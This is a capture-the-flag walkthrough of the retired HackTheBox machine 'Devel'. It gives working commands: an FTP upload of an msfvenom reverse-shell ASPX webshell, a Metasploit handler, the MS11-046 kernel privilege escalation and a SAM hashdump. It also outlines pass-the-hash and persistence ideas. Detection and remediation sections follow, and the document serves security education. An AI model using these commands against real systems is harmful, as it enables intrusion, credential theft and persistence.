Overview
Devel is a retired Easy-rated Windows machine on HackTheBox. It runs Windows 7
Enterprise (Build 7600, RTM) with two services exposed: FTP on port 21 and IIS
7.5 on port 80. The FTP server permits anonymous login with write access, and
its document root is the IIS web root (C:\inetpub\wwwroot). This overlap
creates a write-to-execute primitive: upload an ASPX webshell via FTP, request
it via HTTP, and IIS executes it.
The initial foothold lands as IIS APPPOOL\Web, a low-privilege virtual
account with a restricted token. IIS 7.5’s application pool isolation is
working as designed. The escalation to NT AUTHORITY\SYSTEM exploits
CVE-2011-1249 (MS11-046), a stack buffer overflow in the Ancillary Function
Driver (afd.sys). The host has zero hotfixes installed, making every local
privilege escalation CVE from Windows 7 RTM onward a viable candidate.
This box is a case study in misconfiguration stacking: no single flaw is exotic, but their combination creates a direct path from anonymous access to full system compromise.
Reconnaissance
nmap -sC -sV -oA scans/devel 10.129.8.111
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 21 | FTP | Microsoft ftpd | Anonymous login permitted |
| 80 | HTTP | Microsoft IIS httpd 7.5 | Default IIS landing page |
Two ports. The attack surface is minimal, which paradoxically makes enumeration faster: fewer rabbit holes to chase.
IIS 7.5 ships with Windows 7 and Windows Server 2008 R2. The FTP service is Microsoft’s built-in FTP server, tightly integrated with IIS. When Microsoft FTP and IIS are co-located, they often share the same physical directory. That integration is the first indicator of the shared-root misconfiguration.
FTP enumeration
ftp 10.129.8.111
# Connected to 10.129.8.111.
# 220 Microsoft FTP Service
# Name: anonymous
# 331 Anonymous access allowed, send identity (e-mail name) as password.
# Password: [blank]
# 230 User logged in.
ftp> dir
# 03-17-17 08:46AM <DIR> aspnet_client
# 03-17-17 05:37AM 689 iisstart.htm
# 03-17-17 05:37AM 184946 welcome.png
iisstart.htm and welcome.png are the default IIS 7.5 welcome page assets.
The aspnet_client directory is created by the .NET framework installer. These
three artefacts confirm the FTP root is the IIS web root (C:\inetpub\wwwroot).
Testing write access:
ftp> put test.txt
# 226 Transfer complete.
Verifying via HTTP:
curl http://10.129.8.111/test.txt
# test content appears
Write access confirmed. Anything uploaded via FTP is immediately served by IIS.
Attack Surface Analysis
The attack path is clear, but I want to understand the full picture before committing:
| Vector | Feasibility | Impact | Notes |
|---|---|---|---|
| FTP anonymous write + IIS ASPX | High | Code execution | Confirmed: write access + web root overlap |
| IIS 7.5 known CVEs | Low | Varies | Few unauthenticated RCEs for IIS 7.5 |
| FTP service exploits | Low | Varies | Microsoft ftpd has limited CVE history |
The FTP-to-webshell path is the obvious choice. IIS 7.5 executes .aspx files
natively through the ASP.NET ISAPI handler, so there is no need to find an
upload bypass or hope for a misconfigured handler. ASPX execution is the
default behaviour for any IIS installation with .NET registered.
Vulnerability Analysis
Misconfiguration decomposition
This is not a CVE in the traditional sense. It is a compound misconfiguration. Decomposing it into individual failures clarifies why each matters and what controls would break the chain.
Failure 1: Anonymous FTP with write access. FTP anonymous access is a legitimate feature for public file distribution. Write access for anonymous users is almost never intentional in production. Microsoft’s own IIS hardening guide explicitly recommends disabling anonymous write. The FTP authorisation rules should grant read-only access to the anonymous identity.
Failure 2: Shared document root. The FTP virtual directory points to
C:\inetpub\wwwroot, the same directory IIS serves. This creates the
write-to-execute primitive: any file written via FTP becomes executable content
via HTTP. These should be separate directories with distinct ACLs. Even if FTP
write access is required for some operational reason, writing to a non-web
directory would break the chain.
Failure 3: No upload filtering. No file extension restrictions exist on FTP
uploads. A properly configured FTP server would reject .aspx, .asp, .php,
.exe, and other executable extensions even if write access were enabled. IIS
also supports request filtering rules that can deny execution of files outside
an approved list.
Each misconfiguration alone is insufficient for compromise. Together, they form a kill chain:
Anonymous FTP login -> Write .aspx to wwwroot -> HTTP request triggers execution
This is why security assessments must evaluate configuration combinations, not individual settings.
Exploitation
Generating the payload
I use msfvenom to create a staged Meterpreter payload in ASPX format. Staged
payloads are smaller (important for restrictive upload environments) and allow
Metasploit to handle post-exploitation framework delivery over the established
connection:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=tun0 LPORT=4444 \
-f aspx -o shell.aspx
Why ASPX over classic ASP? IIS 7.5 ships with .NET framework support enabled
by default. The aspnet_isapi.dll handler is registered for .aspx
extensions out of the box. Classic ASP (.asp) requires the “ASP” role service
to be explicitly installed, which may or may not be present. ASPX is the safer
bet for reliable execution.
Upload and trigger
# Upload via FTP
ftp 10.129.8.111
ftp> binary
ftp> put shell.aspx
# 226 Transfer complete.
The binary command switches the transfer mode from ASCII to binary. This
matters: ASCII mode performs line-ending translation (LF to CRLF on Windows),
which would corrupt the embedded shellcode bytes in the ASPX payload.
# Start handler
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/meterpreter/reverse_tcp; \
set LHOST tun0; set LPORT 4444; run"
# Trigger execution
curl http://10.129.8.111/shell.aspx
[*] Meterpreter session 1 opened (10.10.14.x:4444 -> 10.129.8.111:xxxxx)
Initial access context
meterpreter> getuid
# Server username: IIS APPPOOL\Web
meterpreter> sysinfo
# Computer : DEVEL
# OS : Windows 7 Enterprise (6.1 Build 7600).
# Architecture: x86
# Meterpreter : x86/windows
Two critical observations:
-
IIS APPPOOL\Web is a virtual account created by IIS application pool identity isolation (introduced in IIS 7.5). It has no administrative access, limited filesystem permissions, and a restricted token. The worker process (
w3wp.exe) runs under this identity by default. This isolation is the primary defence boundary between a webshell and the underlying system. -
Windows 7 Build 7600 is the RTM (Release to Manufacturing) build from October 2009. No service packs, no cumulative updates, no hotfixes. The kernel exploit surface is enormous: every local privilege escalation CVE disclosed between 2009 and the present is a candidate.
Privilege Escalation
Enumeration
Before reaching for kernel exploits, I check for simpler escalation paths.
Token impersonation attacks (JuicyPotato, PrintSpoofer, RoguePotato) require
SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege with the ability
to create COM objects. Checking the current token:
meterpreter> getprivs
# SeAssignPrimaryTokenPrivilege
# SeChangeNotifyPrivilege
# SeIncreaseWorkingSetPrivilege
SeAssignPrimaryTokenPrivilege is present but SeImpersonatePrivilege is
absent. JuicyPotato and its variants require SeImpersonatePrivilege
specifically; they use CreateProcessWithTokenW or ImpersonateNamedPipeClient,
both of which check for that privilege. SeAssignPrimaryTokenPrivilege allows
CreateProcessAsUserW but requires a primary token handle, which these tools
do not provide. The potato family is off the table.
systeminfo
# OS Name: Microsoft Windows 7 Enterprise
# OS Version: 6.1.7600 N/A Build 7600
# Hotfix(s): N/A
Zero hotfixes installed. This host has never been patched.
Selecting the exploit
I use local_exploit_suggester to survey the kernel exploit surface:
meterpreter> run post/multi/recon/local_exploit_suggester
Multiple candidates appear. I select MS11-046
(exploit/windows/local/ms11_046_afd_callbackoverflow) for several reasons:
it has a high reliability rating in Metasploit, it targets a driver present on
all Windows installations, and it does not require specific service
configurations or race conditions.
| Attribute | Value |
|---|---|
| CVE | CVE-2011-1249 |
| CVSS v2 | 7.2 (High): AV:L/AC:L/Au:N/C:C/I:C/A:C |
| CWE | CWE-120 (Buffer Copy without Checking Size of Input) |
| Root cause | Stack buffer overflow in afd.sys (Ancillary Function Driver) |
| Affected | Windows XP SP3, Vista SP1/SP2, 7 RTM/SP1, Server 2003/2008 |
| Fixed in | MS11-046 (KB2503665) |
| MITRE ATT&CK | T1068 (Exploitation for Privilege Escalation) |
How MS11-046 works
The Ancillary Function Driver (afd.sys) handles Winsock operations in kernel
mode. It is the kernel-side component of the Windows Sockets API; every
application that opens a TCP or UDP socket interacts with afd.sys through
IOCTLs. The vulnerability sits in the AfdPoll routine, which processes
IOCTL_AFD_POLL requests from user mode.
A specially crafted poll request with an oversized NumberOfHandles field
triggers a stack buffer overflow in the kernel’s pool memory. The exploit
sequence: allocate a controlled buffer in user space, send the malformed IOCTL
to trigger the overflow, overwrite the return address on the kernel stack, and
redirect execution to shellcode that copies the SYSTEM process token
(PsReferencePrimaryToken on PID 4) into the current process’s token field.
When the IOCTL returns to user mode, the calling process is running as
NT AUTHORITY\SYSTEM.
This is a local exploit: it requires existing code execution on the target, which the Meterpreter session provides.
Execution
use exploit/windows/local/ms11_046_afd_callbackoverflow
set SESSION 1
set LHOST tun0
set LPORT 5555
run
[*] Meterpreter session 2 opened (10.10.14.x:5555 -> 10.129.8.111:xxxxx)
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM
Full system compromise.
Post-Exploitation
type C:\Users\babis\Desktop\user.txt
# [redacted]
type C:\Users\Administrator\Desktop\root.txt
# [redacted]
Credential harvesting
With SYSTEM access, the SAM database is readable:
meterpreter> hashdump
# Administrator:500:[LM hash]:[NTLM hash]:::
# babis:1000:[LM hash]:[NTLM hash]:::
# Guest:501:[LM hash]:[NTLM hash]:::
In a real engagement, these NTLM hashes would be tested for credential reuse
across the network via pass-the-hash and cracked offline for plaintext
passwords that might unlock other systems, VPNs, or cloud accounts. The
presence of LM hashes (Windows 7 RTM stores them by default unless
NoLMHash is set via Group Policy) makes cracking substantially faster:
LM hashes split the password into two 7-character halves and use DES, reducing
the effective keyspace dramatically.
Persistence considerations
A real attacker establishing persistence on this host would likely create a
local administrator account, install a service-level backdoor (surviving
reboots), add a scheduled task running as SYSTEM, or modify the IIS
configuration to place a persistent webshell in a less obvious location than
wwwroot (e.g., nested within aspnet_client where it blends with
legitimate .NET framework files).
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1078.001 | FTP logs showing anonymous write of .aspx files |
| Execution | T1505.003 | IIS W3SVC logs: GET/POST to newly created .aspx file |
| Privilege escalation | T1068 | Sysmon Event ID 10: w3wp.exe spawning process with SYSTEM token |
| Credential access | T1003.002 | SAM registry hive access from non-LSASS process |
FTP monitoring. Any write operation via anonymous FTP should generate an
alert. Writing executable file extensions (.aspx, .asp, .php, .jsp)
should be a critical-severity event. Microsoft’s FTP service logs to
%SystemDrive%\inetpub\logs\LogFiles\FTPSVC* by default; parsing these for
STOR commands from the anonymous user is trivial.
IIS request anomalies. The web server logs show a request to /shell.aspx,
a file that did not exist minutes ago and was never part of a deployment. File
integrity monitoring (FIM) on the web root directory would catch this
immediately. Windows has built-in auditing for file creation events (Security
Event 4663 with object access auditing enabled), though a dedicated FIM agent
provides better alerting.
Process genealogy. The privilege escalation creates a distinctive process
tree: w3wp.exe (IIS worker) spawning a child process that then acquires a
SYSTEM token. EDR tools flag this pattern reliably because it is a well-known
indicator of web server compromise. Even without EDR, Sysmon Event ID 1
(process creation) with parent process tracking would surface this.
Kernel exploit artefacts. afd.sys exploitation typically generates a
kernel crash dump if the exploit fails, and leaves pool allocation artefacts
that forensic analysis can identify. Windows Event Log entries for unexpected
afd.sys behaviour (Event ID 7034 for service crash, 7045 for new service
installation) may also appear. On a system with Driver Verifier enabled, the
pool corruption would trigger an immediate bugcheck.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Disable anonymous FTP write access | Low | Critical |
| P0 | Separate FTP and IIS document roots | Low | Critical |
| P0 | Apply all Windows updates (SP1 + cumulative patches) | Medium | Critical |
| P1 | Restrict FTP upload file extensions | Low | High |
| P1 | Deploy FIM on C:\inetpub\wwwroot | Low | High |
| P2 | Run IIS application pool as a custom least-privilege account | Medium | Medium |
| P2 | Enable IIS request filtering to block unknown file types | Low | Medium |
| P3 | Deploy EDR with process genealogy monitoring | Medium | Medium |
The architectural fix is straightforward: never allow an unauthenticated write path to a directory that serves executable content. This principle applies beyond FTP and IIS. It is the same flaw pattern behind unrestricted file upload vulnerabilities in web applications (CWE-434). The defence is separation of concerns: upload directories should be outside the web root, or the web server should be configured to serve uploads as static content only (no script execution). IIS achieves this via request filtering rules or by removing the ASP.NET handler mapping from the upload directory.
For the privilege escalation, the fix is patching. Windows 7 Build 7600 with zero hotfixes is not a realistic production scenario, but unpatched systems exist in OT environments, isolated lab networks, and organisations with broken patch management pipelines. The compensating control is application whitelisting (AppLocker or WDAC) that prevents unauthorised executables from running, even if an attacker achieves code execution through a webshell. AppLocker’s default rules block execution from user-writable directories, which would stop the Meterpreter payload from running even after successful upload.
Key Takeaways
-
Misconfiguration stacking is the real threat model. No single setting on this box is unusual in isolation: FTP with anonymous access, IIS serving its default directory, a Windows install without patches. The compound effect is total compromise in two steps. Security assessments must evaluate configuration combinations, not individual settings. Automated scanners that check each setting independently would miss this chain entirely.
-
IIS application pool isolation works, until it does not. The initial foothold was correctly sandboxed as
IIS APPPOOL\Webwith a restricted token. But isolation is a speed bump, not a wall. On an unpatched kernel, the escalation from low-privilege to SYSTEM is a matter of selecting the right exploit module. Defence in depth means patching and isolating and monitoring, because any single layer can fail. -
Web shells are the most common persistence mechanism in real breaches. The Verizon DBIR consistently ranks web shell installation as a top post-compromise action. File integrity monitoring on web-accessible directories is one of the highest-value, lowest-effort controls an organisation can deploy. On IIS specifically, auditing the
wwwrootdirectory for new.aspx,.ashx, and.asmxfiles catches the vast majority of .NET-based web shells.